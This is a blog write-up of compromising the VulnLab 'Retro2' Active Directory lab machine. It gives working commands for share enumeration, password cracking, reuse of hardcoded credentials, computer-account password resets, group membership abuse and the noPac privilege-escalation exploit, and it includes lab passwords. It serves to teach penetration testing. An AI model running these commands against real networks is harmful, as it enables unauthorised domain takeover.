Post

VulnLab -- Retro2 Writeup

Retro2

Hello Friends,

Remo is Back

In this write-up, I’ll walk through how I pwned the Retro2 machine from VulnLab. From initial enumeration to gaining root access, I’ll explain the key steps, tools, and techniques used to complete the box.

image.png

Let’s start by scanning the machine.

1
sudo nmap -sC -sV -sS -O -A -oN scanned.txt -p 139,49173,5722,135,49154,3269,389,9389,636,464,3389,49155,49157,3268,49158 --min-rate=1000 10.10.103.242

image.png

Now let’s enumerate the shares on the machine

1
nxc smb retro2.vl -u 'guest' -p '' --shares

image.png

We see we have access to a share named Public

Now let’s try to access the share

1
smbclient \\\\retro2.vl\\Public -U "retro2.vl\guest"

image.png

and we got access to two folders DB and TEMP

let’s go to the DB folder and see it’s content

1
cd DB

image.png

we found an access document so let’s go download it and open it

1
get staff.accdb

image.png

now let’s open the access file

image.png

Since the access file have a password let’s crack it

First get the password hash

1
office2john staff.accdb > crackme.txt

image.png

Now let’s crack the password

1
john crackme.txt --wordlist=/usr/share/wordlists/rockyou.txt

image.png

we got the password for the office file which is class08

let’s go and open it again

image.png

We found a VB script that is making ldap query with hardcoded username and password username: retro2\ldapreader password: ppYaVcB5R

Now let’s see if they are working!

1
nxc smb retro2.vl -u ldapreader -p ppYaVcB5R

image.png

Yeah they did now let’s get all the users in the machine

1
nxc smb retro2.vl -u 'guest' -p '' --shares --users --rid-brute 10000

image.png

now save the output and let’s extract the usernames

1
cat results.txt | grep -i SidTypeUser | awk '{print $6}' | cut -d "\\" -f 2 > users.txt

image.png

Now let’s get a bloodhound

image.png

now let’s open bloodhound and search for any interesting attack vector

image.png

we didn’t find anything so let’s try to search for pre created computer accounts

1
nxc smb retro2.vl -u 'fs01$' -p 'fs01' 

image.png

Now let’s change it’s password

1
impacket-changepasswd retro2.vl/FS01$:fs01@10.10.103.242 -altuser ldapreader -altpas ppYaVcB5R

image.png

now let’s see what this computer can do

image.png

notice that our computer have generic write over another computer so let’s reset the ADMWS01 computer password

1
net rpc password ADMWS01$ -U retro2.vl/'FS01$'%'remo123$' -S 10.10.103.242

image.png

now let’s check if the password is changed!

1
nxc smb retro2.vl -u 'ADMWS01$' -p 'remo123$'

image.png

yes it changed so let’s go back to bloodhound and see what we can do now

image.png

Out computer object can add a member to the service group

Now let’s add the ldapreader to the service group

1
bloodyAD --host bln01.retro2.vl -d retro2.vl -u "ADMWS01$" -p "remo123$" add groupMember "SERVICES" "ldapreader"

image.png

Now since ldapreader is now member of the services group let’s see what this group can do

image.png

Notice that the members of the services group can RDP to the machine

Let’s RDP to the machine

1
xfreerdp /u:ldapreader /p:ppYaVcB5R /d:retro2.vl /v:10.10.103.242 /cert-ignore /tls-seclevel:0

image.png

Now let’s exploit the noPac bug to get admin privilege

1
python noPac.py retro2.vl/ldapreader:'ppYaVcB5R' -dc-ip 10.10.103.242 -shell --impersonate administrator -use-ldap

image.png

and we got admin privilege

so let’s go to the admin desktop and see the flag

1
dir c:\users\administrator\desktop

image.png

Amazing we got the root flag 🥳

image.png

That’s it for the Retro2 machine! This challenge was a great test of enumeration and exploitation skills. Hope you found the write-up useful.

Remo

CRTECRTPCRTOeWPTXeCPPTeMAPT
This post is licensed under CC BY 4.0 by the author.